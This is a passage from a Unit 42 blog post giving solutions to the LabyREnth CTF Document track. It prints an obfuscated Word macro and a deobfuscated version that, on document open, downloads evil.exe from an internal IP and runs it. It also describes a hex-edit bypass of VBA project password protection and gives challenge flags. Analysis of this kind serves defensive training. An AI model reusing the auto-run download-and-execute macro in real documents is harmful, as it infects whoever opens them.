{"id":17284,"date":"2016-08-18T13:00:20","date_gmt":"2016-08-18T20:00:20","guid":{"rendered":"https:\/\/www.paloaltonetworks.com\/blog\/?p=17284"},"modified":"2016-08-18T13:06:23","modified_gmt":"2016-08-18T20:06:23","slug":"labyrenth-capture-the-flag-ctf-document-track-solutions","status":"publish","type":"post","link":"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/2016\/08\/labyrenth-capture-the-flag-ctf-document-track-solutions\/","title":{"rendered":"LabyREnth Capture the Flag (CTF): Document Track Solutions"},"content":{"rendered":"<p>Thanks to the incredibly talented community of threat researchers that participated in <a href=\"https:\/\/www.paloaltonetworks.com\/blog\/2016\/07\/unit42-announcing-the-labyrenth-capture-the-flag-ctf-challenge\/\" target=\"_blank\">LabyREnth, the Unit 42 Capture the Flag (CTF)<\/a> challenge. Now that the challenge is closed, we can finally reveal the solutions of each challenge track. We\u2019ll be rolling out the solutions for one challenge track per week. First up, the Document track.<\/p>\n<p><!--more--><\/p>\n<h3>Document 1 Challenge: Maaa, why you clickz such macro?<\/h3>\n<p><em>Challenge Created By: Tyler Halfpop <\/em><a href=\"https:\/\/twitter.com\/0xtyh\" rel=\"nofollow,noopener\"  target=\"_blank\"><em>@0xtyh<\/em><\/a><\/p>\n<p>When we open the document, we see this image that is commonly found in a lot of document malware. We also have a prompt on top to enable macros.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:48.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17287 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1-500x243.png\" alt=\"Untitled1\" width=\"500\" height=\"243\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1-500x243.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1-230x112.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1-768x373.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1-510x247.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1-82x40.png 82w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled1-1.png 907w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>If we enable macros and have a tool like FakeNet running, then we get the following output:<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:41.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17290 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1-500x208.png\" alt=\"Untitled2\" width=\"500\" height=\"208\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1-500x208.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1-230x96.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1-768x319.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1-510x212.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1-96x40.png 96w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled2-1.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>This looks interesting, it is trying to download an evil.exe from an RFC 1918 internal IP address 10.1.133.7. We can look at the macros using the macro viewer in Word or by dumping them with a tool like <a href=\"https:\/\/bitbucket.org\/decalage\/oletools\/wiki\/olevba\" rel=\"nofollow,noopener\"  target=\"_blank\">olevba from decalge<\/a>.<\/p>\n<pre class=\"lang:default decode:true \">Private Function QklkhFEQNB(HGKuttPaRM As Variant, UBvkWqzieX As Integer)\r\nDim gsFEVmmIzO, vSHOfSrEta As String, dHLdiEqdts, eUTAbMoUIA\r\nvSHOfSrEta = ActiveDocument.Variables(\"ppKzr\").Value()\r\ngsFEVmmIzO = \"\"\r\ndHLdiEqdts = 1\r\nWhile dHLdiEqdts &lt; UBound(HGKuttPaRM) + 2\r\neUTAbMoUIA = dHLdiEqdts Mod Len(vSHOfSrEta): If eUTAbMoUIA = 0 Then eUTAbMoUIA = Len(vSHOfSrEta)\r\ngsFEVmmIzO = gsFEVmmIzO + Chr(Asc(Mid(vSHOfSrEta, eUTAbMoUIA + UBvkWqzieX, 1)) Xor CInt(HGKuttPaRM(dHLdiEqdts - 1)))\r\ndHLdiEqdts = dHLdiEqdts + 1\r\nWend\r\nQklkhFEQNB = gsFEVmmIzO\r\nEnd Function\r\nPublic Function BkAIuNwQNDkohBY()\r\ntwOvwCSTPL = QklkhFEQNB(Array(5, 5, 27, 65, 89, 98, 85, 86, 71, 75, 66, 92, 95, 98, 67, 64, 89, 83, 84, 95, 26, _\r\n78, 116, 78, 91, 5, 116, 32, 72, 2, 33, 48, 10, 29, 61, 8, 37, 20, 63, 44, 1, _\r\n12, 62, 38, 47, 52, 99, 57, 5, 121, 89, 37, 65, 32, 32, 11, 98, 42, 58, 32, 28, _\r\n9, 3, 117, 85, 4, 57, 10, 94, 0, 16, 8, 28, 42, 30, 121, 71, 6, 8, 9, 37, _\r\n2, 23, 34, 21, 120, 54, 7, 40, 35, 75, 50, 87, 3, 55, 47, 99, 52, 13, 0, 42, _\r\n30, 27, 126, 59, 3, 123, 29, 52, 44, 53, 29, 15, 50, 12, 35, 8, 48, 89, 54, 27, _\r\n62, 28, 8, 36, 49, 119, 104, 14, 5, 64, 34, 43, 22, 71, 5, 46, 7, 66, 42, 0, _\r\n1, 113, 97, 83, 31, 45, 95, 111, 31, 40, 51), 24)\r\nUkIWIEtqCF = QklkhFEQNB(Array(42, 115, 2), 188)\r\nDim xHttp: Set xHttp = CreateObject(QklkhFEQNB(Array(116, 7, 6, 74, 60, 43, 42, 36, 64, 70, 110, 27, 28, 12, 12, 17, 23), 0))\r\nDim bStrm: Set bStrm = CreateObject(QklkhFEQNB(Array(15, 32, 32, 53, 35, 89, 22, 25, 65, 53, 51, 26), 176))\r\nxHttp.Open UkIWIEtqCF, twOvwCSTPL, False\r\nxHttp.Send\r\nWith bStrm\r\n.Type = 1\r\n.Open\r\n.write xHttp.responseBody\r\n.savetofile QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17), 2\r\nEnd With\r\nShell (QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17))\r\nEnd Function\r\nPrivate Sub Document_Open()\r\nIf ActiveDocument.Variables(\"ppKzr\").Value &lt;&gt; \"toto\" Then\r\nBkAIuNwQNDkohBY\r\nActiveDocument.Variables(\"ppKzr\").Value = \"toto\"\r\nIf ActiveDocument.ReadOnly = False Then\r\nActiveDocument.Save\r\nEnd If\r\nEnd If\r\nEnd Sub\r\n<\/pre>\n<p>As we can see, this code has its strings encoded and is obfuscated, and when we clean it up, it\u2019s pretty simple:<\/p>\n<pre class=\"lang:default decode:true \">Public Function Beacon()\r\nx = \"http:\/\/10.1.33.7\/b64\/x58\/MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=\/evil.exe\"\r\ny = \"GET\"\r\nDim xHttp: Set xHttp = CreateObject(\"Microsoft.XMLHTTP\")\r\nDim bStrm: Set bStrm = CreateObject(\"Adodb.Stream\")\r\nxHttp.Open y, x, False\r\nxHttp.Send\r\nWith bStrm\r\n    .Type = 1\r\n        .Open\r\n            .write xHttp.responseBody\r\n                .savetofile \"bad.exe\", 2\r\n                End With\r\n                Shell (\"bad.exe\")\r\n                End Function\r\n\r\n<\/pre>\n<p>Now we can see this matches what we saw in FakeNet. It looks like the URL that it\u2019s looking up is in base64. If we decode it, we get:<\/p>\n<pre class=\"lang:default decode:true \">&gt;&gt;&gt; base64.b64decode(\"MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=\")\r\n'081916230e3102313a696b07683634216a2c30682b6b070f3068071336682f072f306b2a6b6a3468683325'\r\n<\/pre>\n<p>This looks like an ascii hex string, but if we convert it to bytes, we don\u2019t get anything interesting. However, the URI also includes another single byte (we assume since it starts with x) of x58. If we try decoding the hex string with that byte, we get the key. Here is an example Python script to print the key from the URI.<\/p>\n<p>&nbsp;<\/p>\n<pre class=\"lang:default decode:true \">a = \u201c\u201d\r\ns = \"MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=\".decode('base64')\r\nfor i, x in zip(s[0::2], s[1::2]):\r\n          a+=chr(int(str(i+x), 16)^0x58)\r\nprint a\r\n\r\nPAN{ViZib13_0nly2th0s3_Wh0_Kn0w_wh3r32l00k}\r\n<\/pre>\n<h3>Document 2 Challenge: Can you crack doc?<\/h3>\n<p><em>Challenge Created By: Tyler Halfpop <\/em><a href=\"https:\/\/twitter.com\/0xtyh\" rel=\"nofollow,noopener\"  target=\"_blank\"><em>@0xtyh<\/em><\/a><\/p>\n<p>For this challenge, we\u2019re provided a file named \u201cCrackDoc.doc\u201d and when we open it, we\u2019re presented with a \u2018UsersForm1\u2019 prompt for \u2018Key\u2019 value.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled3-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:69%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17293 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled3-1-500x345.png\" alt=\"Untitled3\" width=\"500\" height=\"345\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled3-1-500x345.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled3-1-230x159.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled3-1-435x300.png 435w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled3-1-58x40.png 58w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled3-1.png 525w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Typing in the wrong key displays a message \u201cU can do. Try harder\u2026\u201d accompanied by a sweet picture of doge.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:101%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17296 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-500x505.png\" alt=\"Untitled4\" width=\"500\" height=\"505\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-500x505.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-100x100.png 100w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-230x232.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-297x300.png 297w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-40x40.png 40w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-32x32.png 32w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-64x64.png 64w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-96x96.png 96w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1-128x128.png 128w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-1.png 686w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>If we attempt to look at the underlying macros, we can see that the VBProject is password protected.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-2.png\"><div style=\"max-width:100%\" data-width=\"487\"><span class=\"ar-custom\" style=\"padding-bottom:48.46%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-17299 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-2.png\" alt=\"Untitled4\" width=\"487\" height=\"236\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-2.png 487w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-2-230x111.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled4-2-83x40.png 83w\" sizes=\"auto, (max-width: 487px) 100vw, 487px\" \/><\/span><\/div><\/a><\/p>\n<p>To circumvent this, we\u2019ll simply load the document up in our favorite hex editor and modify the string \u2018DPB=\u201d\u2019 to \u2018DPX=\u201d\u2019.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled5-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:16.2%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17302 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled5-1-500x81.png\" alt=\"Untitled5\" width=\"500\" height=\"81\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled5-1-500x81.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled5-1-230x37.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled5-1-510x83.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled5-1-240x40.png 240w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled5-1.png 731w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>We\u2019ve now corrupted the document so that when we re-open the file and it parses this string, it will find it to be an invalid key. However, it still allows us to load the project, thus bypassing the protection \u2018DPB\u2019 provided.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled6-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:42.4%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17305 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled6-1-500x212.png\" alt=\"Untitled6\" width=\"500\" height=\"212\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled6-1-500x212.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled6-1-230x97.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled6-1-510x216.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled6-1-94x40.png 94w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled6-1.png 637w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Once inside the project, you can go into the \u2018Project Properties\u2019 and uncheck \u2018Lock project for viewing\u2019 under the \u2018Protection\u2019 tab to remove the password permanently.<\/p>\n<p>Looking at the code, we have a form called \u2018UserForm1\u2019 and a module called \u2018NewMacros\u2019. If we right click on the form and go to \u2018View Code\u2019, we see the underlying macro we\u2019re interested in and immediately see a byte-array for the key.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:11.4%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17308 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1-500x57.png\" alt=\"Untitled7\" width=\"500\" height=\"57\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1-500x57.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1-230x26.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1-768x87.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1-510x58.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1-240x27.png 240w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled7-1.png 900w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>We can see that if X equals the string of bytes, then we get our win message. The value X is derived from the \u2018suchcrypto\u2019 function being passed our input and the IV \u2018General Vidal\u2019. The function doesn\u2019t look particularly difficult to reverse.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:71.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17311 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1-500x358.png\" alt=\"Untitled8\" width=\"500\" height=\"358\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1-500x358.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1-230x165.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1-768x550.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1-419x300.png 419w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1-56x40.png 56w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled8-1.png 900w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>But I opted to take an even lazier route to beat this challenge. I decided to fight macro with macro. By creating an array of potential values and passing each of them to the \u2018suchcrypto\u2019 function, I am able to easily enumerate what the key is and when I find a matching value, move on to the next.<\/p>\n<p>By using the full array and Notepad++, I record a small macro of hitting the up arrow a few times and deleting the last byte, before copying and pasting the result then doing it again. What I\u2019m left with is a long list of \u2018For\u2019 loops that I can copy into the \u2018UserForm()\u2019 macro.<\/p>\n<p>Starting with:<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:34%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17314 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1-500x170.png\" alt=\"Untitled9\" width=\"500\" height=\"170\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1-500x170.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1-230x78.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1-768x261.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1-510x174.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1-118x40.png 118w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled9-1.png 899w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Ending with:<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:23%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17317 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10-500x115.png\" alt=\"Untitled10\" width=\"500\" height=\"115\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10-500x115.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10-230x53.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10-768x177.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10-510x118.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10-174x40.png 174w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled10.png 898w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Now we just hit enter a few times and watch the key unwind itself for us!<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled11.png\"><div style=\"max-width:100%\" data-width=\"412\"><span class=\"ar-custom\" style=\"padding-bottom:126.94%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-17320 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled11.png\" alt=\"Untitled11\" width=\"412\" height=\"523\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled11.png 412w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled11-230x292.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled11-236x300.png 236w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled11-32x40.png 32w\" sizes=\"auto, (max-width: 412px) 100vw, 412px\" \/><\/span><\/div><\/a><\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12.png\"><br \/>\n<\/a><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12.png\"><div style=\"max-width:100%\" data-width=\"358\"><span class=\"ar-custom\" style=\"padding-bottom:131.01%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-17326 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12.png\" alt=\"Untitled12\" width=\"358\" height=\"469\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12.png 358w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12-230x301.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12-229x300.png 229w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12-31x40.png 31w\" sizes=\"auto, (max-width: 358px) 100vw, 358px\" \/><\/span><\/div><\/a><\/p>\n<p><strong><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled12.png\"><br \/>\n<\/a>PAN{L4$t_Night_@f@iry_Vizited_M3}<\/strong><\/p>\n<h3>Document 3 Challenge: Adobe, pls<\/h3>\n<p><em>Challenge Created By: Curtis Carmony <\/em><a href=\"https:\/\/twitter.com\/c1fe\" rel=\"nofollow,noopener\"  target=\"_blank\"><em>@c1fe<\/em><\/a><\/p>\n<p>I started out debugging the extracted javascript. I was feeling pretty clever when I found the decoded YouTube URL until Rick Astley started singing that he was never going to give me up. Nice Rick Roll Curtis! I hope it got some of you out there as well.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:56.8%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17329 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13-500x284.png\" alt=\"Untitled13\" width=\"500\" height=\"284\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13-500x284.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13-230x130.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13-768x436.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13-510x289.png 510w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13-71x40.png 71w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled13.png 975w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/a><\/p>\n<p>Next, I went through the different streams in Cerbero profiler and saw the JS tag with hex in the first object.<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14.png\"><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:34.6%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-17332 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14-500x173.png\" alt=\"Untitled14\" width=\"500\" height=\"173\" srcset=\"https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14-500x173.png 500w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14-230x79.png 230w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14-768x265.png 768w, https:\/\/origin-researchcenter.paloaltonetworks.com\/blog\/wp-content\/uploads\/2016\/08\/Untitled14-510x176.png 510w, 